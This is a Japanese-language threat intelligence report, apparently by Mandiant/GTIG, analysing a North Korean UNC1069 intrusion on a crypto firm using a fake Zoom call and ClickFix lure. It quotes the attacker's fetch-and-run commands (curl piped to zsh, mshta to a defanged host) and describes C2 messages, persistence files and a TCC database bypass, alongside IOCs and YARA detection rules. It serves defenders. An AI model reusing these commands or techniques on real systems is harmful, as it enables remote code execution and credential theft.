執筆者: Ross Inman、Adrian Hernandez
はじめに
北朝鮮系の脅威アクターは、暗号資産および分散型金融(DeFi)分野を標的とするために、その手口を継続的に進化させています。Mandiantは最近、このセクター内のFinTech企業を標的とした侵入を調査し、少なくとも2019年から活動している金銭目的の脅威アクターであるUNC1069によるものと帰属しました。この調査により、7つの固有のマルウェアファミリが展開される、標的に合わせて調整された侵入が明らかになりました。これには、ホストおよび被害者データを取得するために設計された新しいツール群(SILENCELIFT、DEEPBREATH、CHROMEPUSH)が含まれます。この侵入は、侵害されたTelegramアカウント、偽のZoom会議、ClickFix感染ベクター、そして被害者を欺くためにAI生成動画が使用されたとされる報告を含むソーシャルエンジニアリング手口に依存していました。
これらの戦術は、2025年11月の公開資料GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Toolsで最初に文書化された変化を踏まえたものです。同資料では、Google Threat Intelligence Group(GTIG)が、UNC1069がAIを単純な生産性向上のために使う段階から、実際の作戦で新規のAI対応ルアーを展開する段階へ移行したことを特定しました。単一ホストに展開されたツールの量は、認証情報、ブラウザデータ、セッショントークンを収集して金銭窃取を容易にするための、極めて強い意図を示しています。UNC1069は通常、暗号資産スタートアップ、ソフトウェア開発者、ベンチャーキャピタル企業を標的としますが、既知のダウンローダーSUGARLOADERに加えて複数の新しいマルウェアファミリを展開したことは、能力の大幅な拡大を示しています。
初期侵入ベクターとソーシャルエンジニアリング
被害者はTelegramを通じて、UNC1069により侵害されていた暗号資産企業の幹部アカウントから連絡を受けました。Mandiantは、当該アカウントの真の所有者が別のソーシャルメディアプロフィールから投稿した主張を確認しました。そこでは、Telegramアカウントが乗っ取られたとして連絡先に警告していました。しかし、Mandiantはこの幹部と連絡を取ることも、検証することもできませんでした。UNC1069は被害者とやり取りを続け、関係性を築いた後、30分の会議を設定するためのCalendlyリンクを送付しました。会議リンク自体は、脅威アクターのインフラ上でホストされた偽装Zoom会議(zoom[.]uswe05[.]us)へ誘導していました。
被害者の報告によれば、通話中、別の暗号資産企業のCEOの動画が提示され、それがディープフェイクのように見えたとのことです。Mandiantは、この特定の事例でAIモデルが使用されたことを独立に検証できるフォレンジック証拠を回収できませんでしたが、この偽装はGTIGが以前に追跡した活動と完全に一致します。2025年11月の調査で詳述したとおり、UNC1069は業界関係者になりすましたディープフェイク画像や動画ルアーを用いて、BIGMACHOバックドアの配布に成功しています。これらの過去のキャンペーンでは、標的に悪意ある「Zoom SDK」をインストールさせており、これは本侵入で観測された技術的トラブルシューティングを装うルアーの前段階に当たります。これらの手法には画像や動画の取得が含まれており、ソーシャルエンジニアリング攻撃を行うためのオープンソースインテリジェンス(OSINT)収集を示唆します。この仮説は、攻撃中になりすまされた人物の元のプロフィールが、未知の敵対者によるアカウント乗っ取りを報告していることによって補強されます。
「会議」に入ると、偽のビデオ通話により、エンドユーザーが音声問題を経験しているかのように見せかける偽装が行われました。脅威アクターはこれを用いてClickFix攻撃を実施しました。ClickFix攻撃とは、脅威アクターが、技術的問題があると偽って、ユーザーにシステム上でトラブルシューティングコマンドを実行させる攻撃手法です。回収されたWebページには、「トラブルシューティング」として実行する2種類のコマンドセット(macOS向けとWindows向け)が提示されていました。コマンド列の中に、感染チェーンを開始する単一のコマンドが埋め込まれていました。
Mandiantは、UNC1069がこれらの手法を用いて、暗号資産業界の企業および個人(ソフトウェア企業とその開発者、ベンチャーキャピタル企業とその従業員または幹部を含む)の双方を標的としていることを確認しています。これには、偽のZoom会議の使用や、ソーシャルエンジニアリング段階で画像や動画を編集するために脅威アクターがAIツールを使用していることが既知である点も含まれます。
UNC1069は、GTIGの報告によれば、ツール開発、作戦上の調査、偵察段階での支援のためにGeminiのようなツールを使用することが知られています。さらに、Kasperskyは最近、UNC1069と重複する脅威アクターであるBluenoroffが、画像を改変するためにGTP-4oモデルも使用していると主張しており、GenAIツールの採用と、敵対者ライフサイクルへのAI統合を示しています。
感染チェーン
Mandiantが実施したインシデントレスポンス対応において、被害者は図1に示す「トラブルシューティング」コマンドを実行し、これによりmacOSデバイスの初期感染が発生しました。
system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license
図1: ソーシャルエンジニアリング段階で共有された攻撃者コマンド
Windowsオペレーティングシステムを標的とした別の「トラブルシューティング」コマンドセットも、偽のZoom通話Webページから回収されました:
setx audio_volume 100
pnputil /enum-devices /connected /class "Audio"
mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
wmic sounddev get Caption, ProductName, DeviceID, Status
msdt -id AudioPlaybackDiagnostic
exit
図2: Windowsが検出された際に共有された攻撃者コマンド
感染チェーン開始直後にAppleScript実行の証拠が記録されましたが、システム上に残存していたフォレンジックアーティファクトからはAppleScriptペイロードの内容を回収できませんでした。AppleScript実行後、悪意あるMach-Oバイナリがシステムに展開されました。
最初にシステムへ展開された悪意ある実行ファイルは、MandiantがWAVESHAPERとして追跡している、パックされたバックドアでした。WAVESHAPERは、MandiantがHYPERCALLとして追跡するダウンローダー、およびその後の追加ツール群を展開するための導管として機能し、敵対者のシステム上での足場を大幅に拡大しました。
Mandiantは、侵入中にHYPERCALLダウンローダーが3回使用されたことを確認しました:
-
追随するバックドアコンポーネント(MandiantがHIDDENCALLとして追跡)を実行し、侵害されたシステムへのハンズオンキーボードアクセスを提供
-
別のダウンローダー(MandiantがSUGARLOADERとして追跡)を展開
-
足場確保用バックドア(MandiantがSILENCELIFTとして追跡)の実行を促進し、システム情報をコマンド&コントロール(C2またはC&C)サーバーへビーコン送信

XProtect
XProtectはmacOSに組み込まれているアンチウイルス技術です。当初はシグネチャベースの検知のみに依存していましたが、振る舞いベースの検知を実装するためにXProtect Behavioral Service(XBS)が導入されました。Appleが定義する振る舞いベースのルールのいずれかにプログラムが違反すると、違反したプログラムに関する情報がXProtect Database(XPdb)に記録されます。XPdbは/var/protected/xprotect/XPdbに配置されたSQLite 3データベースです。
シグネチャベースの検知とは異なり、振る舞いベースの検知では、XProtectが実行をブロックしたり、違反プログラムを隔離したりすることはありません。
MandiantはXPdbから、XBSルールに1つ以上違反したプログラムのファイルパスおよびSHA256ハッシュを回収しました。これには、削除され回収できなかった悪意あるプログラムに関する情報も含まれていました。XPdbには検知時刻のタイムスタンプも含まれるため、侵害されたシステムにエンドポイント検知・対応(EDR)製品が存在しないにもかかわらず、初期感染チェーンから次段階マルウェア展開まで、マルウェア実行に関連する一連の出来事の順序をMandiantは特定できました。
データ収集と永続化
Mandiantは、アクセス期間中に脅威アクターが展開した2つの異なるデータマイナー(DEEPBREATHとCHROMEPUSH)を特定しました。
Swiftで書かれたデータマイナーDEEPBREATHは、HYPERCALLの追随バックドアコンポーネントであるHIDDENCALL経由で展開されました。DEEPBREATHはTransparency, Consent, and Control(TCC)データベースを操作して広範なファイルシステムアクセスを獲得し、以下を窃取します:
-
ユーザーのKeychainからの認証情報
-
Chrome、Brave、Edgeからのブラウザデータ
-
2種類の異なるTelegramバージョンからのユーザーデータ
-
Apple Notesからのユーザーデータ
DEEPBREATHは標的データを一時フォルダにステージングし、ZIPアーカイブに圧縮したうえで、curlコマンドラインユーティリティを介してリモートサーバーへ持ち出しました。
Mandiantはまた、HYPERCALLがSUGARLOADERコードファミリの一部として追跡される追加のマルウェアローダーを展開したことも特定しました。SUGARLOADERの起動デーモン(launch daemon)として永続化メカニズムがインストールされ、macOS起動プロセス中にマルウェアを実行するようシステムが構成されました。起動デーモンはプロパティリスト(Plist)ファイル/Library/LaunchDaemons/com.apple.system.updater.plistによって構成されていました。起動デーモンPlistファイルの内容を図4に示します。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.system.updater</string>
<key>ProgramArguments</key>
<array>
<string>/Library/OSRecovery/SystemUpdater</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<false/>
<key>ExitTimeOut</key>
<integer>10</integer>
</dict>
</plist>
図4: SUGARLOADERを実行するよう構成された起動デーモンPlist
調査中に回収されたSUGARLOADERサンプルには永続化を確立する内部機能がなかったため、Mandiantは、他の悪意あるプログラムのいずれかによって付与されたアクセスを通じて、起動デーモンが手動で作成されたと評価しています。
Mandiantは、SUGARLOADERがC++で書かれたデータマイナーCHROMEPUSHを展開する目的のみに使用されていたことを確認しました。CHROMEPUSHは、Googleドキュメントをオフラインで編集するための拡張機能を装ったブラウザ拡張機能を、Google ChromeおよびBraveブラウザに展開しました。CHROMEPUSHはさらに、キーストロークの記録、ユーザー名とパスワード入力の監視、ブラウザCookieの抽出を行う能力を備えており、ホスト上でのデータ収集を完遂しました。
スポットライト: UNC1069
UNC1069は、北朝鮮との関連が高い確度で疑われ、Mandiantが2018年から追跡している金銭目的の脅威アクターです。Mandiantは、この脅威アクターが戦術・技術・手順(TTP)、ツール、標的設定を進化させてきたことを確認しています。少なくとも2023年以降、同グループはスピアフィッシング手法および従来型金融(TradFi)標的から、中央集権型取引所(CEX)、金融機関のソフトウェア開発者、ハイテク企業、ベンチャーキャピタルファンドの個人など、Web3業界へと軸足を移しています。特筆すべき点として、UNC1069は2025年にUNC4899のような他グループと比べて暗号資産強奪での影響は小さいものの、中央集権型取引所を含む組織および個人を金銭目的で標的とする活動的な脅威であり続けています。

図5: UNC1069の被害者像マップ
Mandiantは、2025年にこのグループが決済、ブローカレッジ、ステーキング、ウォレットインフラの各分野において、金融サービスおよび暗号資産業界を標的に活動していることを確認しています。
UNC1069のオペレーターは、Web3領域の個人と、これら分野の企業ネットワークの双方を標的としてきました。また、UNC1069および北朝鮮(DPRK)関連が疑われる他グループは過去に、異なる手法を用いて個人デバイスから企業デバイスへ移行できる能力を示しています。しかし本件では、単一の個人を標的とし、単一ホストに異常に大量のツールが投下されている点をMandiantは確認しました。これは、被害者から資金を移動させることで金銭的利益を得る目的に加え、過去事例と同様に、被害者のデータとアイデンティティを悪用してUNC1069オペレーターが用いるソーシャルエンジニアリング資源へ投入する目的でも利用可能な、できる限り多くのデータを収集することを狙った標的型攻撃であるという評価を補強します。
その後、Mandiantは侵害されたシステムのフォレンジック分析により7つの異なるマルウェアファミリを特定しました。このうち、調査以前からMandiantが追跡していたのはSUGARLOADERのみでした。
技術付録
WAVESHAPER
WAVESHAPERはC++で書かれ、未知のパッカーでパックされた、macOSを標的とするバックドアです。このバックドアは、コマンド&コントロール(C2またはC&C)サーバーから取得した任意のペイロードをダウンロードして実行することをサポートしており、C&Cサーバーはコマンドラインパラメータで指定されます。敵対者インフラと通信するために、WAVESHAPERは、指定されたコマンドライン引数に応じてHTTPまたはHTTPSでcurlライブラリを利用します。
WAVESHAPERはまた、自身をフォークして親セッションから切り離されたバックグラウンドの子プロセスとして動作することでデーモンとして実行され、以下のシステム情報を収集し、HTTP POSTリクエストでC&Cサーバーへ送信します:
-
ランダムな被害者UID(英数字16文字)
-
被害者ユーザー名
-
被害者マシン名
-
システムのタイムゾーン
-
sysctlbyname(“kern.boottime”)を用いたシステム起動時刻
-
最近インストールされたソフトウェア
-
ハードウェアモデル
-
CPU情報
-
OSバージョン
-
実行中プロセスの一覧
C&Cサーバーからダウンロードされたペイロードは、次の正規表現パターンに一致するファイルシステム上の場所に保存されます: /tmp/\.[A-Za-z0-9]{6}。
HYPERCALL
HYPERCALLはmacOS向けに設計されたGoベースのダウンローダーで、指定されたC&Cサーバーから悪意ある動的ライブラリを取得します。C&Cアドレスは、バイナリと同じディスク上に存在する必要があるRC4暗号化設定ファイルから抽出されます。ダウンロード後、ライブラリはリフレクティブにロードされ、メモリ内で実行されます。
Mandiantは、新しいダウンローダーが別言語(C++ではなくGolang)で書かれ、開発プロセスも異なるにもかかわらず、HYPERCALLにSUGARLOADER由来の影響が見られることを確認しました。類似点には、C&Cインフラのための外部設定ファイルの使用、設定ファイル復号にRC4アルゴリズムを使用すること、リフレクティブなライブラリインジェクション機能が含まれます。
注目すべき点として、HYPERCALLの一部要素は未完成に見えます。例えば、用途のない設定パラメータの存在は、北朝鮮関連の他脅威アクターと比較して、UNC1069のマルウェア開発者の一部に技術的熟練度の不足があることを示しています。
HYPERCALLは単一のコマンドライン引数を受け取り、そこにC&Cホストの接続先が指定されることを想定しています。このコマンドは/Library/SystemSettings/.CacheLogs.dbにある設定ファイルへ保存されます。HYPERCALLはまた、ハードコードされた16バイトのRC4キーを用いて設定ファイル内に保存されたデータを復号します。これは他のUNC1069マルウェアファミリでも観測されるパターンです。
HYPERCALLの設定は、TCPポート443で以下のC&Cサーバーと通信するようダウンローダーに指示していました:
wss://supportzm[.]comwss://zmsupport[.]com
接続後、HYPERCALLは次のメッセージでC&Cに登録し、応答メッセージとして1を期待します:
{
"type": "loader",
"client_id": <client_id>
}
図6: C&Cサーバーへ送信された登録メッセージ
HYPERCALLがC&Cサーバーに登録すると、動的ライブラリのダウンロード要求を送信します:
{
"type": "get_binary",
"system": "darwin"
}
図7: C&Cサーバーへ送信された動的ライブラリダウンロード要求メッセージ
C&Cサーバーは、ダウンロードする動的ライブラリに関する情報を返し、その後に動的ライブラリの内容を送信します:
{
"type": <unknown>,
"total_size": <total_size>
}
図8: C&Cサーバーから受信した動的ライブラリダウンロード応答メッセージ
C&Cサーバーは、以下のメッセージで動的ライブラリ内容の送信がすべて完了したことをHYPERCALLクライアントに通知します:
{
"type": "end_chunks"
}
図9: 動的ライブラリ内容の終了を示すためにC&Cサーバーから送信されたメッセージ
動的ライブラリ受信後、HYPERCALLは最終確認応答メッセージを送信します:
{
"type": "down_ok"
}
図10: HYPERCALLからC&Cサーバーへ送信された最終確認応答メッセージ
その後HYPERCALLは3秒待機し、リフレクティブローディングを用いてダウンロードした動的ライブラリをメモリ内で実行します。
HIDDENCALL
Mandiantは高い確度で、UNC1069がHYPERCALLダウンローダーとHIDDENCALLバックドアを、単一の同期された攻撃ライフサイクルのコンポーネントとして利用していると評価しています。
この評価は、HYPERCALLがHIDDENCALLをダウンロードし、リフレクティブに注入してシステムメモリへ展開するというフォレンジック観測によって裏付けられます。さらに技術的検証により、HYPERCALLのGolangバイナリとHIDDENCALLのAhead-of-Time(AOT)変換ファイルの間に、顕著なコード重複が明らかになりました。両ファミリは同一のライブラリを利用し、関数に対して独特の「t_」命名規則(例: t_loaderやt_)に従っており、統一された開発環境と共有されたトレードクラフトを強く示唆します。このカスタム統合ツールスイートの使用は、セキュリティ対策を回避し、標的ネットワークで長期的な永続性を確保するための専門的能力を開発するUNC1069の技術的熟練度を浮き彫りにしています。
Rosettaキャッシュ分析
Mandiantは以前、Rosettaキャッシュ内のファイルを用いてプログラム実行を証明できること、ならびにAOT変換ファイルに含まれるシンボルの分析によってマルウェア識別が可能になり得ることを文書化しています。
HYPERCALLはNSCreateObjectFileImageFromMemory API呼び出しを利用して、追随バックドアコンポーネントをメモリからリフレクティブにロードしました。NSCreateObjectFileImageFromMemoryが呼び出されると、メモリからロードされる実行ファイルは一時的に/tmp/フォルダ配下へ書き出され、ファイル名は正規表現パターンNSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8}に一致します。
この固有の挙動に加え、HIDDENCALLペイロードがx86_64アーキテクチャ向けにコンパイルされていたことにより、リフレクティブにロードされたMach-O実行ファイルに対するRosettaキャッシュAOTファイルが作成されました。Rosettaキャッシュファイルの分析を通じて、Mandiantは高い確度で、リフレクティブにロードされたMach-O実行ファイルが追随バックドアコンポーネントであり、同じくGolangで書かれ、MandiantがHIDDENCALLとして追跡するものであると評価できました。
図11から図14には、HIDDENCALL実行に関連するAOTファイルから特定されたシンボルおよびプロジェクトファイルパス、ならびにMandiantが分析したHYPERCALLサンプルの情報を示しており、これらはHIDDENCALLの機能評価に使用されました。
_t/common.rc4_encode
_t/common.resolve_server
_t/common.load_config
_t/common.save_config
_t/common.generate_uid
_t/common.send_data
_t/common.send_error_message
_t/common.get_local_ip
_t/common.get_info
_t/common.rsp_get_info
_t/common.override_env
_t/common.exec_command_with_timeout
_t/common.exec_command_with_timeout.func1
_t/common.rsp_exec_cmd
_t/common.send_file
_t/common.send_file.deferwrap1
_t/common.add_file_to_zip
_t/common.add_file_to_zip.deferwrap1
_t/common.zip_file
_t/common.zip_file.func1
_t/common.zip_file.deferwrap2
_t/common.zip_file.deferwrap1
_t/common.rsp_zdn
_t/common.rsp_dn
_t/common.receive_file
_t/common.receive_file.deferwrap1
_t/common.unzipFile
_t/common.unzipFile.deferwrap1
_t/common.rsp_up
_t/common.rsp_inject_explorer
_t/common.rsp_inject
_t/common.wipe_file
_t/common.rsp_wipe_file
_t/common.send_cmd_result
_t/common.rsp_new_shell
_t/common.rsp_exit_shell
_t/common.rsp_enter_shell
_t/common.rsp_leave_shell
_t/common.rsp_run
_t/common.rsp_runx
_t/common.rsp_test_conn
_t/common.rsp_check_event
_t/common.rsp_sleep
_t/common.rsp_pv
_t/common.rsp_pcmd
_t/common.rsp_pkill
_t/common.rsp_dir
_t/common.rsp_state
_t/common.rsp_get_cfg
_t/common.rsp_set_cfg
_t/common.rsp_chdir
_t/common.get_file_property
_t/common.get_file_property.func1
_t/common.rsp_file_property
_t/common.do_work
_t/common.do_work.deferwrap1
_t/common.Start
_t/common.init_env
_t/common.get_config_path
_t/common.get_startup_path
_t/common.get_launch_plist_path
_t/common.get_os_info
_t/common.get_process_uid
_t/common.get_file_info
_t/common.get_dir_entries
_t/common.is_locked
_t/common.check_event
_t/common.change_dir
_t/common.run_command_line
_t/common.run_command_line.func1
_t/common.copy_file
_t/common.copy_file.deferwrap2
_t/common.copy_file.deferwrap1
_t/common.setup_startup
_t/common.file_exist
_t/common.session_work
_t/common.exit_shell
_t/common.restart_shell
_t/common.start_shell_reader
_t/common.watch_shell_output_loop
_t/common.watch_shell_output_loop.func1
_t/common.watch_shell_output_loop.func1.deferwrap1
_t/common.exec_with_shell
_t/common.start_shell_reader.func1
_t/common.do_work.jump513
_t/common.g_shoud_fork
_t/common.CONFIG_CRYPT_KEY
_t/common.g_conn
_t/common.g_shell_cmd
_t/common.g_shell_pty
_t/common.stop_reader_chan
_t/common.stop_watcher_chan
_t/common.g_config_file_path
_t/common.g_output_buffer
_t/common.g_cfg
_t/common.g_use_shell
_t/common.g_working
_t/common.g_out_changed
_t/common.g_reason
_t/common.g_outputMutex
図11: Mandiantが分析したHIDDENCALL AOTファイルからの注目すべきGolangシンボル
t_loader/common
t_loader/inject_mac
t_loader/inject_mac._Cfunc_InjectDylibFromMemory
t_loader/inject_mac.Inject
t_loader/inject_mac.Inject.func1
t_loader/common.rc4_encode
t_loader/common.generate_uid
t_loader/common.load_config
t_loader/common.rc4_decode
t_loader/common.save_config
t_loader/common.resolve_server
t_loader/common.receive_file
t_loader/common.Start
t_loader/common.check_server_urls
t_loader/common.inject_pe
t_loader/common.init_env
t_loader/common.get_config_path
図12: Mandiantが分析したHYPERCALL AOTファイルからの注目すべきGolangシンボル
/Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)
図13: Mandiantが分析したHIDDENCALL AOTファイルからのプロジェクトファイルパス
/Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
/Users/mac/Documents/go_t/t_loader/common/common.go
/Users/mac/Documents/go_t/t_loader/common/common_unix.go
/Users/mac/Documents/go_t/t_loader/exe.go
図14: Mandiantが分析したHYPERCALL AOTファイルからのプロジェクトファイルパス
DEEPBREATH
侵入中に特定された新しいmacOSマルウェアはDEEPBREATHで、macOSのプライバシーの重要コンポーネントであるTransparency, Consent, and Control(TCC)データベースを回避するよう設計された高度なデータマイナーです。
Swiftで書かれたDEEPBREATHの主目的は、ファイルおよび機微な個人情報へのアクセスを獲得することです。
TCC回避
昇格権限をユーザーに要求する代わりに、DEEPBREATHはユーザーのTCCデータベース(TCC.db)を直接操作します。稼働中データベースの直接改変を防ぐ保護を回避するため、以下の一連の手順を実行します:
-
ステージング: Finderアプリケーションを利用してユーザーのTCCフォルダ名を変更し、
TCC.dbファイルを一時的なステージング場所へコピーします。これにより、データベースを妨害なく改変できるようになります。 -
権限注入: ステージング後、マルウェアはプログラム的に権限を挿入し、Desktop、Documents、Downloadsなどの重要なユーザーフォルダへの広範なアクセスを自らに付与します。
-
復元: 最後に、改変したデータベースを元の場所へ戻し、DEEPBREATHが動作に必要とする広範なファイルシステムアクセスを得られるようにします。
この手法が可能なのは、Finderアプリケーションがフルディスクアクセス(FDA)権限を保有しているためである点に留意してください。これはmacOSにおいてユーザー固有のTCCデータベースを改変するために必要な権限です。
動作を中断させないために、このマルウェアはAppleScriptを使用し、-autodata引数でバックグラウンドに自身を再起動します。初期プロセスから切り離され、ユーザーセッション全体を通じて静かにデータ収集を継続します。
昇格されたアクセスにより、DEEPBREATHは高価値データを体系的に標的とします:
-
認証情報: ユーザーキーチェーン(
login.keychain-db)からログイン認証情報を窃取 -
ブラウザデータ: Google Chrome、Brave、Microsoft Edgeなど主要ブラウザについて、すべてのユーザープロファイルにわたりCookie、ログインデータ、ローカル拡張機能設定をコピー
-
メッセージングとメモ: 2種類の異なるTelegramバージョンからユーザーデータを持ち出し、Apple Notesのデータベースファイルも標的としてコピー
DEEPBREATHは、OSの中核的なセキュリティ機能を回避して広範なデータ窃取を行うことに焦点を当てた攻撃ベクターの代表例です。
SUGARLOADER
SUGARLOADERはC++で書かれたダウンローダーで、歴史的にUNC1069の侵入と関連付けられています。
本侵入での観測に基づくと、SUGARLOADERはCHROMEPUSHを展開する目的のみに使用されていました。SUGARLOADERがコマンド引数なしで実行されると、被害者コンピュータ上の/Library/OSRecovery/com.apple.os.configにある既存の設定ファイルを確認します。
設定はRC4で暗号化されており、バイナリ内にハードコードされた32バイトのキーが見つかっています。
復号後の設定データには、次段階を指す最大2つのURLが含まれます。次段階の感染をダウンロードするためにURLが照会され、最初のURLが適切な実行可能ペイロードで応答した場合、2番目のURLは照会されません。
Mandiantが分析したサンプルにおける復号済みSUGARLOADER設定には、以下のC&Cサーバーが含まれていました:
breakdream[.]com:443dreamdie[.]com:443
CHROMEPUSH
本侵入では、2つ目のデータマイナーが回収され、CHROMEPUSHと命名されました。このデータマイナーはC++で書かれており、Google ChromeやBraveなどのChromium系ブラウザを標的とするブラウザ拡張機能として自身をインストールし、キーストローク、ユーザー名とパスワード入力、ブラウザCookieを収集してWebサーバーへアップロードします。
CHROMEPUSHは、Chromium系ブラウザのネイティブメッセージングホストとして自身をインストールすることで永続化を確立します。Google Chromeの場合、CHROMEPUSHは自身を%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docsへコピーし、同じディレクトリに対応するマニフェストファイルcom.google.docs.offline.jsonを作成します。
{
"name": "com.google.docs.offline",
"description": "Google Docs Offline 拡張機能のためのネイティブメッセージング",
"path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
"type": "stdio",
"allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
}
図15: データマイナーが確立したGoogle Chromeネイティブメッセージングホスト用マニフェストファイル
ネイティブメッセージングホストとしてインストールされることで、CHROMEPUSHは対応するブラウザが実行されると自動的に実行されます。
ネイティブメッセージングホスト機構により実行されると、データマイナーは%HOME%/Library/Application Support/com.apple.os.receiptsにベースデータディレクトリを作成し、ブラウザ識別を行います。検出されたブラウザに基づく対応識別子を用いて、ベースデータディレクトリ内にサブディレクトリが作成されます:
-
Google Chromeの場合、サブディレクトリ名は「
c". -
Brave Browserの場合、サブディレクトリ名は「
b". -
Arcの場合、サブディレクトリ名は「
a". -
Microsoft Edgeの場合、サブディレクトリ名は「
e". -
いずれにも一致しない場合、サブディレクトリ名は「
u".
CHROMEPUSHは%HOME%/Library/Application Support/com.apple.os.receipts/setting.db.から設定データを読み取ります。設定はJavaScript Objection Notation(JSON)形式で解析されます。使用されるJSON変数名は、その用途の可能性を示しています:
-
cap_on: 画面キャプチャを取得するかどうかを制御すると推定 -
cap_time: 画面キャプチャの間隔を制御すると推定 -
coo_on: Cookieへアクセスするかどうかを制御すると推定 -
coo_time: Cookieデータへアクセスする間隔を制御すると推定 -
key_on: キー入力を記録するかどうかを制御すると推定 -
C&C URL
CHROMEPUSHは収集データを%HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ディレクトリ内の一時ファイルにステージングします。
これらのファイルは、その後以下の形式でリネームされます:
-
スクリーンショット:
CAYYMMDDhhmmss.dat -
キー入力記録:
KLYYMMDDhhmmss.dat -
Cookie:
CK_<browser_identifier><unknown_id>.dat
CHROMEPUSHは収集データをステージングし、HTTP POSTリクエストでC&Cサーバーへ送信します。Mandiantが分析したサンプルでは、C&Cサーバーはhxxp://cmailer[.]pro:80/uploadと特定されました。
SILENCELIFT
SILENCELIFTはC/C++で書かれた最小限のバックドアで、ホスト情報をハードコードされたC&Cサーバーへビーコン送信します。このサンプルで特定されたC&Cサーバーはsupport-zoom[.]usでした。
SILENCELIFTは、ハードコードされたファイルパス/Library/Caches/.Logs.dbから一意IDを取得します。注目すべき点として、これはCHROMEPUSHが使用するパスとまったく同一です。このバックドアはロック画面の状態も取得し、一意IDとともにC&Cサーバーへ送信します。
root権限で実行された場合、SILENCELIFTはC&Cサーバーへビーコン送信しながら、Telegram通信を能動的に中断できます。
侵害指標(Indicators of Compromise)
本ブログ投稿で概説した活動のハンティングおよび特定を広範なコミュニティが行えるよう、侵害指標(IOC)を登録ユーザー向けGTIコレクションに含めました。
ネットワークベースの指標
|
指標 |
説明 |
|---|---|
|
|
初期感染を開始するために取得・実行されたペイロードをホスト |
|
|
偽のZoom会議をホスト |
|
|
SUGARLOADER C&C |
|
|
SUGARLOADER C&C |
|
|
SILENCELIFT C&C |
|
|
HYPERCALL C&C |
|
|
HYPERCALL C&C |
|
|
CHROMEPUSHアップロードサーバー |
ホストベースの指標
|
説明 |
SHA-256ハッシュ |
ファイル名 |
|
DEEPBREATH |
|
|
|
SUGARLOADER |
|
|
|
WAVESHAPER |
|
|
|
HYPERCALL |
|
|
|
CHROMEPUSH |
|
|
|
SILENCELIFT |
|
|
|
HYPERCALL設定(sudoで自己実行) |
|
|
|
HYPERCALL用PLIST |
|
|
|
CHROMEPUSHによりドロップ |
|
|
|
CHROMEPUSHによりドロップ |
|
|
|
HYPERCALL設定(SILENCELIFTを実行) |
|
|
|
SUGARLOADER永続化PLIST(起動デーモン) |
|
|
|
CHROMEPUSHによりドロップ |
|
|
|
CHROMEPUSHによりドロップ |
|
|
|
CHROMEPUSHによりドロップ |
|
|
|
CHROMEPUSHによりドロップ |
|
|
YARAルール
rule G_Backdoor_WAVESHAPER_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-11-03"
date_modified = "2025-11-03"
md5 = "c91725905b273e81e9cc6983a11c8d60"
rev = 1
strings:
$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
$str2 = "/tmp/.%s"
$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
$str4 = "sysctl -n hw.model"
$str5 = "sysctl -n machdep.cpu.brand_string"
$str6 = "sw_vers --ProductVersion"
condition:
all of them
}
rule G_Backdoor_WAVESHAPER_2 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-11-03"
date_modified = "2025-11-03"
md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
rev = 1
strings:
$str1 = "__Z10RunCommand"
$str2 = "__Z11GenerateUID"
$str3 = "__Z11GetResponse"
$str4 = "__Z13WriteCallback"
$str5 = "__Z14ProcessRequest"
$str6 = "__Z14SaveAndExecute"
$str7 = "__Z16MakeStatusString"
$str8 = "__Z24GetCurrentExecutablePath"
$str9 = "__Z7Execute"
condition:
all of them
}
rule G_Downloader_HYPERCALL_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-10-24"
date_modified = "2025-10-24"
rev = 1
strings:
$go_build = "Go build ID:"
$go_inf = "Go buildinf:"
$lib1 = "/inject_mac/inject.go"
$lib2 = "github.com/gorilla/websocket"
$func1 = "t_loader/inject_mac.Inject"
$func2 = "t_loader/common.rc4_decode"
$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
}
rule G_Backdoor_SILENCELIFT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
date_created = "2025/10/23"
